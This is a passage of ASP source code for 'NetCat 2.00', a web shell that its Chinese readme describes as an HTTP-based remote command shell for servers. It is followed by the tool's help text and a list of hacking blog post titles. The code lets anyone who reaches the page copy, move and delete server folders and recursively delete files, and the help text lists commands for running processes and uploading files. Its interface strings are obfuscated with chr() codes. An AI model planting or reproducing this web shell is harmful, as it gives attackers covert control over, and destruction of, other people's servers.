response.write chr(-18191)+chr(-13635)+chr(-23622) & SelfName() & "?cmd=dircopy&par1=<"+chr(-19762)+chr(-13571)+"1>&par2=<"+chr(-19762)+chr(-13571)+"2><br><br>"+chr(-19762)+chr(-13571)+"1"+chr(-23622)+chr(-18434)+chr(-12559)+chr(-14601)+chr(-18741)+chr(-19004)+chr(-16648)+chr(-18732)+chr(-17422)+chr(-12320)+chr(-18732)+chr(-19004)+chr(-11084)+chr(-12604)+chr(-17154)+chr(-17200)+"<br>"+chr(-19762)+chr(-13571)+"2"+chr(-23622)+chr(-18434)+chr(-12559)+chr(-14601)+chr(-18741)+chr(-19004)+chr(-16648)+chr(-18732)+chr(-17422)+chr(-12320)+chr(-18732)+chr(-19004)+chr(-15169)+chr(-19990)+chr(-12604)+chr(-17154)+chr(-17200)
response.write "<p align=center><a href=javascript:history.back()>"+chr(-17677)+chr(-12853)+"</a></p>"
exit function
end if

set copydirfso=server.createobject("Scripting.FileSystemObject")

scrdir=vir2abs(scrdir)
tardir=vir2abs(tardir)
if right(scrdir,1)="\" then
   scrdir=mid(scrdir,1,instrrev(scrdir,"\")-1)
end if
if right(tardir,1)="\" then
   tardir=mid(tardir,1,instrrev(tardir,"\")-1)
end if
if instr(scrdir,"*")>0 or instr(scrdir,"?")>0 or instr(scrdir,"|")>0 or instr(scrdir,">")>0 or instr(scrdir,"<")>0 then
   response.write chr(-12604)+chr(-17154)+chr(-17200)+chr(-18252)+chr(-10554)+chr(-19219)+chr(-12557)+chr(-23622)+chr(-11084)+chr(-12604)+chr(-17154)+chr(-17200)+chr(-15365)+chr(-19514)+chr(-17748)+chr(-11312)+chr(-18489)+chr(-18520)+chr(-19004)+chr(-10282)+chr(-18437)
   exit function
end if
if instr(tardir,"*")>0 or instr(tardir,"?")>0 or instr(tardir,"|")>0 or instr(tardir,">")>0 or instr(tardir,"<")>0 then
   response.write chr(-12604)+chr(-17154)+chr(-17200)+chr(-18252)+chr(-10554)+chr(-19219)+chr(-12557)+chr(-23622)+chr(-15169)+chr(-19990)+chr(-12604)+chr(-17154)+chr(-17200)+chr(-15365)+chr(-19514)+chr(-17748)+chr(-11312)+chr(-18489)+chr(-18520)+chr(-19004)+chr(-10282)+chr(-18437)
   exit function
end if
if copydirfso.FolderExists(scrdir) then
    if copydirfso.FolderExists(tardir) then
        response.write chr(-12604)+chr(-17154)+chr(-17200)+chr(-18252)+chr(-10554)+chr(-19219)+chr(-12557)+chr(-23622) & tardir & " "+chr(-12604)+chr(-17154)+chr(-17200)+chr(-11567)+chr(-16723)+chr(-19226)+chr(-11046)+chr(-23647)
        exit function
      else
        copydirfso.CopyFolder scrdir,tardir
        response.write "Folder Copied<br>"+chr(-11084)+chr(-12604)+chr(-17154)+chr(-17200)+chr(-23622) & scrdir & "<br>"+chr(-15169)+chr(-19990)+chr(-12604)+chr(-17154)+chr(-17200)+chr(-23622) & tardir
    end if
   else
    response.write chr(-12604)+chr(-17154)+chr(-17200)+chr(-18252)+chr(-10554)+chr(-19219)+chr(-12557)+chr(-23622)+chr(-11084)+chr(-12604)+chr(-17154)+chr(-17200)+chr(-19781)+chr(-19226)+chr(-11046)+chr(-23647)
end if
set copydirfso=nothing
response.write "<p align=center><a href=javascript:history.back()>"+chr(-17677)+chr(-12853)+"</a></p>"
End Function
'========================================================================
Function fDIRMOVE()
dim scrdir
dim tardir
dim movedirfso
scrdir=trim(request("par1"))
tardir=trim(request("par2"))
pcmdhostinfo

if scrdir="?" or scrdir="/?" or scrdir="-?" or tardir="?" or tardir="/?" or tardir="-?" or scrdir="" or&nbsp
;tardir="" then
response.write "DIRMOVE"+chr(-15364)+chr(-15890)+"<br><br>"+chr(-18010)+chr(-15140)+chr(-23622)+chr(-18434)+chr(-12559)+chr(-14601)+chr(-18741)+chr(-12604)+chr(-17154)+chr(-17200)+chr(-19004)+chr(-11578)+chr(-18769)+"<br><br>"
response.write chr(-18191)+chr(-13635)+chr(-23622) & SelfName() & "?cmd=dirmove&par1=<"+chr(-19762)+chr(-13571)+"1>&par2=<"+chr(-19762)+chr(-13571)+"2><br><br>"+chr(-19762)+chr(-13571)+"1"+chr(-23622)+chr(-18434)+chr(-12559)+chr(-14601)+chr(-18741)+chr(-19004)+chr(-16648)+chr(-18732)+chr(-17422)+chr(-12320)+chr(-18732)+chr(-19004)+chr(-11084)+chr(-12604)+chr(-17154)+chr(-17200)+"<br>"+chr(-19762)+chr(-13571)+"2"+chr(-23622)+chr(-18434)+chr(-12559)+chr(-14601)+chr(-18741)+chr(-19004)+chr(-16648)+chr(-18732)+chr(-17422)+chr(-12320)+chr(-18732)+chr(-19004)+chr(-15169)+chr(-19990)+chr(-12604)+chr(-17154)+chr(-17200)
response.write "<p align=center><a href=javascript:history.back()>"+chr(-17677)+chr(-12853)+"</a></p>"
exit function
end if

set movedirfso=server.createobject("Scripting.FileSystemObject")

scrdir=vir2abs(scrdir)
tardir=vir2abs(tardir)
if right(scrdir,1)="\" then
   scrdir=mid(scrdir,1,instrrev(scrdir,"\")-1)
end if
if right(tardir,1)="\" then
   tardir=mid(tardir,1,instrrev(tardir,"\")-1)
end if
if instr(scrdir,"*")>0 or instr(scrdir,"?")>0 or instr(scrdir,"|")>0 or instr(scrdir,">")>0 or instr(scrdir,"<")>0 then
   response.write chr(-12604)+chr(-17154)+chr(-17200)+chr(-11578)+chr(-18769)+chr(-19219)+chr(-12557)+chr(-23622)+chr(-11084)+chr(-12604)+chr(-17154)+chr(-17200)+chr(-15365)+chr(-19514)+chr(-17748)+chr(-11312)+chr(-18489)+chr(-18520)+chr(-19004)+chr(-10282)+chr(-18437)
   exit function
end if
if instr(tardir,"*")>0 or instr(tardir,"?")>0 or instr(tardir,"|")>0 or instr(tardir,">")>0 or instr(tardir,"<")>0 then
   response.write chr(-12604)+chr(-17154)+chr(-17200)+chr(-11578)+chr(-18769)+chr(-19219)+chr(-12557)+chr(-23622)+chr(-15169)+chr(-19990)+chr(-12604)+chr(-17154)+chr(-17200)+chr(-15365)+chr(-19514)+chr(-17748)+chr(-11312)+chr(-18489)+chr(-18520)+chr(-19004)+chr(-10282)+chr(-18437)
   exit function
end if
if movedirfso.FolderExists(scrdir) then
    if movedirfso.FolderExists(tardir) then
        response.write chr(-12604)+chr(-17154)+chr(-17200)+chr(-11578)+chr(-18769)+chr(-19219)+chr(-12557)+chr(-23622) & tardir & " "+chr(-12604)+chr(-17154)+chr(-17200)+chr(-11567)+chr(-16723)+chr(-19226)+chr(-11046)+chr(-23647)
        exit function
      else
        movedirfso.MoveFolder scrdir,tardir
        response.write "Folder Moved<br>"+chr(-11084)+chr(-12604)+chr(-17154)+chr(-17200)+chr(-23622) & scrdir & "<br>"+chr(-15169)+chr(-19990)+chr(-12604)+chr(-17154)+chr(-17200)+chr(-23622) & tardir
    end if
   else
    response.write chr(-12604)+chr(-17154)+chr(-17200)+chr(-11578)+chr(-18769)+chr(-19219)+chr(-12557)+chr(-23622)+chr(-11084)+chr(-12604)+chr(-17154)+chr(-17200)+chr(-19781)+chr(-19226)+chr(-11046)+chr(-23647)
end if
set movedirfso=nothing
response.write "<p align=center><a href=javascript:history.back()>"+chr(-17677)+chr(-12853)+"</a></p>"
End Function
'========================================================================
Function fDIRDEL()
dim deldir
dim deldirfso
dim deldirobj
deldir=trim(request("par"))
pcmdhostinfo

if deldir="" or deldir="?" or deldir="/?" or deldir="-?" then
response.write "DIRDEL"+chr(-15364)+chr(-15890)+"<br><br>"+chr(-18010)+chr(-15140)+chr(-23622)+chr(-13890)+chr(-19459)+chr(-18434)+chr(-12559)+chr(-14601)+chr(-18741)+chr(-19004)+chr(-12604)+chr(-17154)+chr(-17200)+"<br><br>"
response.write chr(-18191)+chr(-13635)+chr(-23622) & SelfName() & "?cmd=dirdel&par=<"+chr(-19762)+chr(-13571)+"><br><br>"+chr(-19762)+chr(-13571)+chr(-23622)+chr(-18434)+chr(-12559)+chr(-14601)+chr(-18741)+chr(-19004)+chr(-16648)+chr(-18732)+chr(-17422)+chr(-12320)+chr(-18732)+chr(-19004)+chr(-12604)+chr(-17154)+chr(-17200)
response.write "<p align=center><a href=javascript:history.back()>"+chr(-17677)+chr(-12853)+"</a></p>"
exit function
end if
deldir=vir2abs(deldir)
if right(deldir,1)="\" then
   deldir=mid(deldir,1,instrrev(deldir,"\")-1)
end if
if instr(deldir,"*")>0 or instr(deldir,"?")>0 or instr(deldir,"|")>0 or instr(deldir,">")>0 or instr(deldir,"<")>0 then
   response.write chr(-12604)+chr(-17154)+chr(-17200)+chr(-13890)+chr(-19459)+chr(-19219)+chr(-12557)+chr(-23622)+chr(-12604)+chr(-17154)+chr(-17200)+chr(-15365)+chr(-19514)+chr(-17748)+chr(-11312)+chr(-18489)+chr(-18520)+chr(-19004)+chr(-10282)+chr(-18437)
   exit function
end if
set deldirfso=server.createobject("Scripting.FileSystemObject")
if deldirfso.FolderExists(deldir) then
    set deldirobj=deldirfso.GetFolder(deldir)
    if deldirobj.subfolders.count>0 or deldirobj.files.count>0 then
       response.write chr(-12604)+chr(-17154)+chr(-17200)+chr(-13890)+chr(-19459)+chr(-19219)+chr(-12557)+chr(-23622)+chr(-12604)+chr(-17154)+chr(-17200)+chr(-12630)+chr(-18489)+chr(-16427)
      else
       deldirfso.DeleteFolder deldir,true
       response.write chr(-12604)+chr(-17154)+chr(-17200)+chr(-13890)+chr(-19459)+chr(-19511)+chr(-18010)+chr(-23647)+"(" & deldir & ")"
    end if
    set deldirobj=nothing
  else
    response.write chr(-12604)+chr(-17154)+chr(-17200)+chr(-13890)+chr(-19459)+chr(-19219)+chr(-12557)+chr(-23622)+chr(-10568)+chr(-18776)+chr(-19004)+chr(-12604)+chr(-17154)+chr(-17200)+chr(-19781)+chr(-19226)+chr(-11046)
end if
set deldirfso=nothing
response.write "<p align=center><a href=javascript:history.back()>"+chr(-17677)+chr(-12853)+"</a></p>"
End Function
'========================================================================
'==========================================================================
'++++++++++++++++++++++++++++++++++  Public Model  ++++++++++++++++++++++++++++++++++++++++++++
Function pcmdhostinfo()
Response.Clear
response.write "<html><head><title>NetCat "+chr(-12808)+chr(-15641)+chr(-18487)+chr(-15448)+" Version2.00 "+chr(-19206)+chr(-15637)+chr(-18224)+chr(-14146)+chr(-20250)+"</title>"
response.write "<style>" & chr(10) & chr(13)
response.write "A:link{TEXT-DECORATION: none}" & chr(10) & chr(13)
response.write "A:visited
{TEXT-DECORATION: none}" & chr(10) & chr(13)
response.write "A:hover{LEFT: 1px; BORDER-BOTTOM: #00FFFF 1px dotted; POSITION: relative; TOP: 1px; TEXT-DECORATION: none}" & chr(10) & chr(13)
response.write "#site A:link{color:#FFFFFF; TEXT-DECORATION: none}" & chr(10) & chr(13)
response.write "#site A:visited{color:#FFFFFF; TEXT-DECORATION: none}" & chr(10) & chr(13)
response.write "#site A:hover{color:#00FFFF; LEFT: 1px; BORDER-BOTTOM: #00FFFF 1px dotted; POSITION: relative; TOP: 1px; TEXT-DECORATION: none}" & chr(10) & chr(13)
response.write "BODY{font-size: 12pt}" & chr(10) & chr(13)
response.write "TD{font-size: 12pt}" & chr(10) & chr(13)
response.write ".catbutton{BACKGROUND-COLOR: #ffffff; BORDER-BOTTOM: #808080 1px solid; BORDER-LEFT: #808080 1px solid; BORDER-RIGHT: #808080 1px solid; BORDER-TOP: #808080 1px solid; HEIGHT: 18px; WIDTH: 120px}" & chr(10) & chr(13)
response.write "textarea{BACKGROUND-COLOR: #ececec; BORDER-BOTTOM: #808080 1px solid; BORDER-LEFT: #808080 1px solid; BORDER-RIGHT: #808080 1px solid; BORDER-TOP: #808080 1px solid; COLOR: #000000; FONT-SIZE: 9pt}" & chr(10) & chr(13)
response.write ".catinputtext{BACKGROUND-COLOR: #ffffff; BORDER-BOTTOM: #808080 1px solid; BORDER-LEFT: #808080 1px solid; BORDER-RIGHT: #808080 1px solid; BORDER-TOP: #808080 1px solid; HEIGHT: 18px; WIDTH: 500px}" & chr(10) & chr(13)
response.write "</style></head>"
response.write "<body bgcolor=#000000 text=#FFFFFF link=#00FFFF vlink=#00FFFF>"
response.write "<table border=0 width=100% cellspacing=0 cellpadding=0><tr><td id=site>"
response.write "<a href=" & SelfName() & "?cmd=ver title=Version>NetCat "+chr(-12808)+chr(-15641)+chr(-18487)+chr(-15448)+" Version 2.00 "+chr(-19206)+chr(-15637)+chr(-18224)+chr(-14146)+chr(-20250)+"</a> &copy [<a href=http://www.micromai.com/ title=http://www.micromai.com/ target=_blank>Veranda Studio</a>] <a href=mailto:Duclika@hotmail.com title=Duclika@hotmail.com target=_blank>Duclika</a> Updated 2003-05-23<br>"
response.write chr(-18434)+chr(-12559)+chr(-14601)+chr(-23622) & Request.ServerVariables("SERVER_NAME") & "[" & Request.ServerVariables("LOCAL_ADDR") & "]<br>"
response.write chr(-16435)+chr(-17497)+chr(-18741)+chr(-23622) & Request.ServerVariables("REMOTE_HOST") & "[" & Request.ServerVariables("REMOTE_ADDR") & "]<br>"
response.write chr(-18434)+chr(-12559)+chr(-14601)+chr(-18493)+chr(-12598)+chr(-13647)+chr(-17180)+chr(-23622) & now() & "<br><br>"
response.write "</td></tr></table>"
End Function

Function AspEnd()
response.write "</body></html>"
response.end
End Function

Function vir2abs(byval virpath)
dim virpathtmp
virpathtmp=trim(virpath)
virpathtmp=replace(virpathtmp,"|acrs|","#")
virpathtmp=replace(virpathtmp,"/","\")
if len(virpathtmp)=2 and right(virpathtmp,1)=":" then
   virpathtmp=virpathtmp & "\"
end if
if mid(virpathtmp,2,2)<>":\" and virpathtmp<>"" then
     vir2abs=server.mappath(virpathtmp)
   else
     vir2abs=virpathtmp
end if
End Function

Function chkchar(byval strtmp)
if instr(strtmp,"\")>0 or instr(strtmp,"/")>0 or instr(strtmp,":")>0 or instr(strtmp,"*")>0 or instr(strtmp,"?")>0 or instr(strtmp,chr(34))>0 or instr(strtmp,"<")>0 or instr(strtmp,">")>0 or instr(strtmp,"|")>0 then
     chkchar=false
   else
     chkchar=true
end if
End Function

Function long2short(byval filenametmp)
dim nametmp
nametmp=replace(filenametmp,"/","\")
long2short=mid(nametmp,instrrev(nametmp,"\")+1)
End Function

Function SelfName()
Dim SelfNameTmp
SelfNameTmp=Request.ServerVariables("SCRIPT_NAME")
SelfNameTmp=Replace(SelfNameTmp,"\","/")
SelfName=Mid(SelfNameTmp,InstrRev(SelfNameTmp,"/")+1)
End Function

Function AppPath()
AppPath=left(Request.ServerVariables("PATH_TRANSLATED"),instrrev(Request.ServerVariables("PATH_TRANSLATED"),"\"))
End Function

Function FormatNumber(byval lNumber)
if lNumber<1024 then
   FormatNumber=cstr(lNumber)
end if
if lNumber>=1024 and lNumber<1048576 then
   FormatNumber=left(cstr(lNumber/1024),4) & "K"
End if
if lNumber>=1048576 and lNumber<1073741824 then
   FormatNumber=left(cstr(lNumber/1048576),4) & "M"
End if
if lNumber>=1073741824 and lNumber<1099511627776 then
   FormatNumber=left(cstr(lNumber/1073741824),4) & "G"
end if
End Function

''------------Like-------------
Function myLike(ByVal sTCharStr, ByVal sSCharStr)
Dim sTChar, sSChar
Dim lTCharPos, lSCharPos
Dim sStrTmpT, sStrTmpS
Dim i
sTChar = sTCharStr
sSChar = sSCharStr
Do While InStr(sTChar, "*?") > 0
   sTChar = Replace(sTChar, "*?", "*")
Loop
Do While InStr(sTChar, "?*") > 0
   sTChar = Replace(sTChar, "?*", "*")
Loop
Do While InStr(sTChar, "**") > 0
   sTChar = Replace(sTChar, "**", "*")
Loop
sTChar = LCase(sTChar)
sSChar = LCase(sSChar)
myLike = True
If InStr(sTChar, "*") = 0 Then
    myLike = myLikeStr(sTChar, sSChar)
  Else
    If Left(sTChar, 1) <> "*" Then
       sStrTmpT = Mid(sTChar, 1, InStr(sTChar, "*") - 1)
       If Len(sSChar) < Len(sStrTmpT) Then
          myLike = False
          Exit Function
       End If
       sStrTmpS = Mid(sSChar, 1, Len(sStrTmpT))
       If myLikeStr(sStrTmpT, sStrTmpS) = False Then
          myLike =&nb
sp;False
          Exit Function
       End If
       sTChar = Mid(sTChar, Len(sStrTmpT) + 1)
       sSChar = Mid(sSChar, Len(sStrTmpS) + 1)
    End If
    If Right(sTChar, 1) <> "*" Then
       sStrTmpT = Mid(sTChar, InStrRev(sTChar, "*") + 1)
       If Len(sSChar) < Len(sStrTmpT) Then
          myLike = False
          Exit Function
       End If
       sStrTmpS = Mid(sSChar, Len(sSChar) - Len(sStrTmpT) + 1, Len(sStrTmpT))
       If myLikeStr(sStrTmpT, sStrTmpS) = False Then
          myLike = False
          Exit Function
       End If
       sTChar = Mid(sTChar, 1, Len(sTChar) - Len(sStrTmpT))
       sSChar = Mid(sSChar, 1, Len(sSChar) - Len(sStrTmpS))
    End If
    If Len(sSChar) < lSLeastLen Then
       myLike = False
       Exit Function
    End If
    lTCharPos = 1
    lSCharPos = 1
    Do While InStr(lTCharPos, sTChar, "*") < Len(sTChar)
       sStrTmpT = Mid(sTChar, lTCharPos + 1, InStr(lTCharPos + 1, sTChar, "*") - lTCharPos - 1)
       lTCharPos = InStr(lTCharPos + 1, sTChar, "*")
       Do While lSCharPos - 1 < Len(sSChar)
          sStrTmpS = Mid(sSChar, lSCharPos, Len(sStrTmpT))
          lSCharPos = lSCharPos + 1
          If myLikeStr(sStrTmpT, sStrTmpS) = True Then
             lSCharPos = lSCharPos + Len(sStrTmpS) - 1
             Exit Do
            Else
             If lSCharPos - 2 + Len(sStrTmpS) >= Len(sSChar) Then
                myLike = False
                Exit Function
             End If
          End If
       Loop
    Loop
End If
End Function
Function myLikeStr(ByVal sStrTSrc, ByVal sStrSSrc)
Dim i
myLikeStr = True
If Len(sStrTSrc) <> Len(sStrSSrc) Then
     myLikeStr = False
   Else
    For i = 1 To Len(sStrTSrc)
        If Mid(sStrTSrc, i, 1) <> "?" Then
           If Mid(sStrTSrc, i, 1) <> Mid(sStrSSrc, i, 1) Then
              myLikeStr = False
              Exit Function
           End If
        End If
    Next
End If
End Function
'-----------------------------------myListFile-----------------------
Function myListFile(byval sListFileDirTmp,byval sListFileNameTmp,byval sActionTmp)
Dim sListFileDir,sListFileName,sAction
dim listfilefso
dim listfilefolder
dim listfilefolders
dim listfilefile
dim listfilefiles
dim listfileitemtmp
dim strtmp
sListFileDir=trim(sListFileDirTmp)
sListFileName=trim(sListFileNameTmp)
sAction=trim(ucase(sActionTmp))

set listfilefso=server.createobject("Scripting.FileSystemObject")
if listfilefso.FolderExists(sListFileDir) then
   set listfilefolder=listfilefso.GetFolder(sListFileDir)
   set listfilefolders=listfilefolder.subfolders
   set listfilefiles=listfilefolder.files
   for each listfileitemtmp in listfilefiles
       select case sAction
              case "CAT_FINDFILE"
                   if myLike(sListFileName,listfileitemtmp.Name) then
                      response.write listfileitemtmp.Name & "  [" & listfileitemtmp & "]<br>"
                   end if
              case "CAT_DELTREE"
                   On Error Resume Next
                   if myLike(sListFileName,listfileitemtmp.Name) then
                      strtmp=listfileitemtmp
                      listfilefso.DeleteFile listfileitemtmp
                      response.write "Deleting [" & strtmp & "]<br>"
                   end if
              case else
   &nbs
p;               response.write listfileitemtmp.Name & "  [" & listfileitemtmp & "]<br>"
       end select
   next
   for each listfileitemtmp in listfilefolders
       call myListFile(listfileitemtmp,sListFileName,sAction)
   next
   set listfilefolder=nothing
   set listfilefolders=nothing
   set listfilefiles=nothing
  else
   response.write chr(-10568)+chr(-18776)+chr(-19004)+chr(-18434)+chr(-12559)+chr(-14601)+chr(-18741)+chr(-15169)+chr(-15684)+chr(-19781)+chr(-19226)+chr(-11046)
end if
set listfilefso=nothing
End Function
%>


xx.asp?cmd=ver
显示
NetCat2.00


网络飞猫2.00
基于HTTP的远程服务器命令行解释外壳
The Command Shell of Remote Server Based On HTTP

程序编写：Duclika
电子邮件：Duclika@hotmail.com
OICQ号码：5183219 58858309
主页地址：http://www.micromai.com/
更新时间：2003年5月23日

注意，本程序只适用于学习用途，不得利用本程序非法入侵他人计算机，造成一切损失以及一切责任均与作者无关。

Copyright © [Veranda Studio] Duclika 2003-05-23

xx.asp?cmd=help
获得帮助
HELP|?命令

功能：NetCat 网络飞猫 命令列表

格式：insertatfilelab.asp?cmd=[命令][&par=[参数]]

[命令]

HELP|? NetCat 网络飞猫 命令列表
DIR 列出当前或指定服务器端目录的文件和文件夹列表
TYPE 以ASCII形式显示指定文件内容
EDIT ASCII类型的文件编辑器
COPY 服务器端文件的复制
MOVE 服务器端文件的移动
DEL 删除服务器端的文件
DELTREE 清空服务器端指定目录下的所有文件
RUN 创建一个服务器端的进程
FINDFILE 查找服务器端的文件
UPFILE 上传本地文件到目标服务器指定的位置上
REN 服务器端文件的重命名
DIRMAKE 服务器端新建目录
DIRCOPY 服务器端文件夹的复制
DIRMOVE 服务器端文件夹的移动
DIRDEL 删除服务器端的文件夹
VER NetCat(网络飞猫)版本信息以及升级日志

随机日志

• 2009年08月17日 -- some shit tips
• 2009年02月16日 -- 手工注入纽约大学
• 2011年11月24日 -- 几个在线密码破解网站的比较
• 2011年04月14日 -- 太他妈强版->too legit to quit
• 2008年11月20日 -- wifiway的U盘安装启动方式
• 2009年08月12日 -- WordPress < = 2.8.3 Remote admin reset password
• 2008年09月20日 -- 巧妙利用.mdb后缀数据库做后门
• 2009年08月16日 -- 一个命令可以攻击所有Linux系统
• 2008年10月14日 -- 新型 .net 一句话及客户端
• 2010年07月9日 -- 《南都周刊》：红客变身 黑客隐去